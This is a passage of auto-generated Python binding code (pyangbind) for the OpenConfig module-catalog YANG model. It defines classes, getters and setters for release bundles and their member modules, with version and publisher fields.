YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="compatible-versions", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'release-bundles', 'release-bundle', 'members', 'member'] def _get_id(self): """ Getter method for id, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/id (string) YANG Description: Identifier for the bundle member """ return self.__id def _set_id(self, v, load=False): """ Setter method for id, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/id (string) If this variable is read-only (config: false) in the source YANG file, then _set_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_id() directly. YANG Description: Identifier for the bundle member """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """id must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__id = t if hasattr(self, '_set'): self._set() def _unset_id(self): self.__id = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_type(self): """ Getter method for type, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/type (identityref) YANG Description: The type of member that is to be included within the release bundle. Release bundles may include modules and other release bundles. Both member modules and member bundles should specify the list of compatible versions. """ return self.__type def _set_type(self, v, load=False): """ Setter method for type, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/type (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_type is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_type() directly. YANG Description: The type of member that is to be included within the release bundle. Release bundles may include modules and other release bundles. Both member modules and member bundles should specify the list of compatible versions. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'MODULE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:MODULE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'RELEASE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:RELEASE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'FEATURE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:FEATURE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """type must be of a type compatible with identityref""", 'defined-type': "openconfig-module-catalog:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'MODULE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:MODULE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'RELEASE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:RELEASE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'FEATURE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:FEATURE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True)""", }) self.__type = t if hasattr(self, '_set'): self._set() def _unset_type(self): self.__type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'MODULE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:MODULE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'RELEASE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:RELEASE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'FEATURE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:FEATURE_BUNDLE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) def _get_module(self): """ Getter method for module, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/module (leafref) YANG Description: Name of the module set which is included in this bundle - for example, 'openconfig-bgp' """ return self.__module def _set_module(self, v, load=False): """ Setter method for module, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/module (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_module is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_module() directly. YANG Description: Name of the module set which is included in this bundle - for example, 'openconfig-bgp' """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """module must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__module = t if hasattr(self, '_set'): self._set() def _unset_module(self): self.__module = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="module", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_release_bundle(self): """ Getter method for release_bundle, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/release_bundle (leafref) YANG Description: Name of the module set which is included in this bundle - for example, 'openconfig-bgp' """ return self.__release_bundle def _set_release_bundle(self, v, load=False): """ Setter method for release_bundle, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/release_bundle (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_release_bundle is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_release_bundle() directly. YANG Description: Name of the module set which is included in this bundle - for example, 'openconfig-bgp' """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """release_bundle must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__release_bundle = t if hasattr(self, '_set'): self._set() def _unset_release_bundle(self): self.__release_bundle = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_publisher(self): """ Getter method for publisher, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/publisher (leafref) YANG Description: Reference to the name of the publishing organization """ return self.__publisher def _set_publisher(self, v, load=False): """ Setter method for publisher, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/publisher (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_publisher is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_publisher() directly. YANG Description: Reference to the name of the publishing organization """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """publisher must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__publisher = t if hasattr(self, '_set'): self._set() def _unset_publisher(self): self.__publisher = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_compatible_versions(self): """ Getter method for compatible_versions, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/compatible_versions (oc-cat-types:module-version-type) YANG Description: A list of semantic version specification of the versions of the specified module or release bundle which are compatible when building this version of the bundle. Version specifications may be added when changes are made to a module within a bundle, and this does not affect the interaction between it and other modules. It is expected that backwards compatible changes to an individual module or member bundle do not affect the compatibility of that with other members, and hence wildcard matches are allowed within this list. """ return self.__compatible_versions def _set_compatible_versions(self, v, load=False): """ Setter method for compatible_versions, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member/compatible_versions (oc-cat-types:module-version-type) If this variable is read-only (config: false) in the source YANG file, then _set_compatible_versions is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_compatible_versions() directly. YANG Description: A list of semantic version specification of the versions of the specified module or release bundle which are compatible when building this version of the bundle. Version specifications may be added when changes are made to a module within a bundle, and this does not affect the interaction between it and other modules. It is expected that backwards compatible changes to an individual module or member bundle do not affect the compatibility of that with other members, and hence wildcard matches are allowed within this list. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="compatible-versions", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """compatible_versions must be of a type compatible with oc-cat-types:module-version-type""", 'defined-type': "oc-cat-types:module-version-type", 'generated-type': """YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="compatible-versions", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True)""", }) self.__compatible_versions = t if hasattr(self, '_set'): self._set() def _unset_compatible_versions(self): self.__compatible_versions = YANGDynClass(unique=True, base=TypedListType(allowed_type=six.text_type), is_leaf=False, yang_name="compatible-versions", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) id = __builtin__.property(_get_id, _set_id) type = __builtin__.property(_get_type, _set_type) module = __builtin__.property(_get_module, _set_module) release_bundle = __builtin__.property(_get_release_bundle, _set_release_bundle) publisher = __builtin__.property(_get_publisher, _set_publisher) compatible_versions = __builtin__.property(_get_compatible_versions, _set_compatible_versions) _pyangbind_elements = OrderedDict([('id', id), ('type', type), ('module', module), ('release_bundle', release_bundle), ('publisher', publisher), ('compatible_versions', compatible_versions), ]) class yc_members_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/release-bundles/release-bundle/members. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of bundle members which make up this release bundle. A member is defined as an individual YANG module specified in the YANG catalogue, or another release bundle which can be used to group multiple YANG models together. """ __slots__ = ('_path_helper', '_extmethods', '__member',) _yang_name = 'members' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__member = YANGDynClass(base=YANGListType("id",yc_member_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members_member, yang_name="member", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='id', extensions=None), is_container='list', yang_name="member", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'release-bundles', 'release-bundle', 'members'] def _get_member(self): """ Getter method for member, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member (list) YANG Description: A set of modules or bundles which are part of the bundle of models. For example, if 'ietf-yang-types' were to be specified within the bundle, then this would refer to the individual entry within the module catalogue. If the type of the entry is set to bundle, then for example, openconfig-bgp could be referenced - which itself consists of separate modules. """ return self.__member def _set_member(self, v, load=False): """ Setter method for member, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members/member (list) If this variable is read-only (config: false) in the source YANG file, then _set_member is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_member() directly. YANG Description: A set of modules or bundles which are part of the bundle of models. For example, if 'ietf-yang-types' were to be specified within the bundle, then this would refer to the individual entry within the module catalogue. If the type of the entry is set to bundle, then for example, openconfig-bgp could be referenced - which itself consists of separate modules. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("id",yc_member_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members_member, yang_name="member", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='id', extensions=None), is_container='list', yang_name="member", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """member must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("id",yc_member_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members_member, yang_name="member", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='id', extensions=None), is_container='list', yang_name="member", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__member = t if hasattr(self, '_set'): self._set() def _unset_member(self): self.__member = YANGDynClass(base=YANGListType("id",yc_member_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members_member, yang_name="member", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='id', extensions=None), is_container='list', yang_name="member", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) member = __builtin__.property(_get_member, _set_member) _pyangbind_elements = OrderedDict([('member', member), ]) class yc_release_bundle_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/release-bundles/release-bundle. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of release bundles - sets of modules and/or bundles which are interoperable """ __slots__ = ('_path_helper', '_extmethods', '__name','__version','__members',) _yang_name = 'release-bundle' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) self.__members = YANGDynClass(base=yc_members_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members, is_container='container', yang_name="members", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'release-bundles', 'release-bundle'] def _get_name(self): """ Getter method for name, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/name (string) YANG Description: The name of the module or bundle. For modules, this should reflect the 'module' or 'submodule' statement in the YANG module file. For bundles, this is the canonical name for the overall bundle of modules which is to be released together. This name should be consistent over multiple releases """ return self.__name def _set_name(self, v, load=False): """ Setter method for name, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/name (string) If this variable is read-only (config: false) in the source YANG file, then _set_name is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_name() directly. YANG Description: The name of the module or bundle. For modules, this should reflect the 'module' or 'submodule' statement in the YANG module file. For bundles, this is the canonical name for the overall bundle of modules which is to be released together. This name should be consistent over multiple releases """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """name must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__name = t if hasattr(self, '_set'): self._set() def _unset_name(self): self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_version(self): """ Getter method for version, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/version (oc-cat-types:module-version-type) YANG Description: For individual modules, this is the version number, e.g., a semantic version. The version may be the same as the date indicated in the module revision statement. For bundles, this is a semantic version number for the overall bundle. This version is to be defined as per the approach specified in the OpenConfig semantic version guidance - and is of the form x.y.z, where x is the major version, y is the minor version, and z is the patch level """ return self.__version def _set_version(self, v, load=False): """ Setter method for version, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/version (oc-cat-types:module-version-type) If this variable is read-only (config: false) in the source YANG file, then _set_version is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_version() directly. YANG Description: For individual modules, this is the version number, e.g., a semantic version. The version may be the same as the date indicated in the module revision statement. For bundles, this is a semantic version number for the overall bundle. This version is to be defined as per the approach specified in the OpenConfig semantic version guidance - and is of the form x.y.z, where x is the major version, y is the minor version, and z is the patch level """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """version must be of a type compatible with oc-cat-types:module-version-type""", 'defined-type': "oc-cat-types:module-version-type", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True)""", }) self.__version = t if hasattr(self, '_set'): self._set() def _unset_version(self): self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) def _get_members(self): """ Getter method for members, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members (container) YANG Description: List of bundle members which make up this release bundle. A member is defined as an individual YANG module specified in the YANG catalogue, or another release bundle which can be used to group multiple YANG models together. """ return self.__members def _set_members(self, v, load=False): """ Setter method for members, mapped from YANG variable /organizations/organization/release_bundles/release_bundle/members (container) If this variable is read-only (config: false) in the source YANG file, then _set_members is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_members() directly. YANG Description: List of bundle members which make up this release bundle. A member is defined as an individual YANG module specified in the YANG catalogue, or another release bundle which can be used to group multiple YANG models together. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_members_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members, is_container='container', yang_name="members", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """members must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_members_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members, is_container='container', yang_name="members", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__members = t if hasattr(self, '_set'): self._set() def _unset_members(self): self.__members = YANGDynClass(base=yc_members_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle_members, is_container='container', yang_name="members", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) name = __builtin__.property(_get_name, _set_name) version = __builtin__.property(_get_version, _set_version) members = __builtin__.property(_get_members, _set_members) _pyangbind_elements = OrderedDict([('name', name), ('version', version), ('members', members), ]) class yc_release_bundles_openconfig_module_catalog__organizations_organization_release_bundles(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/release-bundles. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of release bundles """ __slots__ = ('_path_helper', '_extmethods', '__release_bundle',) _yang_name = 'release-bundles' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__release_bundle = YANGDynClass(base=YANGListType("name version",yc_release_bundle_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle, yang_name="release-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'release-bundles'] def _get_release_bundle(self): """ Getter method for release_bundle, mapped from YANG variable /organizations/organization/release_bundles/release_bundle (list) YANG Description: List of release bundles - sets of modules and/or bundles which are interoperable """ return self.__release_bundle def _set_release_bundle(self, v, load=False): """ Setter method for release_bundle, mapped from YANG variable /organizations/organization/release_bundles/release_bundle (list) If this variable is read-only (config: false) in the source YANG file, then _set_release_bundle is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_release_bundle() directly. YANG Description: List of release bundles - sets of modules and/or bundles which are interoperable """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("name version",yc_release_bundle_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle, yang_name="release-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """release_bundle must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("name version",yc_release_bundle_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle, yang_name="release-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__release_bundle = t if hasattr(self, '_set'): self._set() def _unset_release_bundle(self): self.__release_bundle = YANGDynClass(base=YANGListType("name version",yc_release_bundle_openconfig_module_catalog__organizations_organization_release_bundles_release_bundle, yang_name="release-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="release-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) release_bundle = __builtin__.property(_get_release_bundle, _set_release_bundle) _pyangbind_elements = OrderedDict([('release_bundle', release_bundle), ]) class 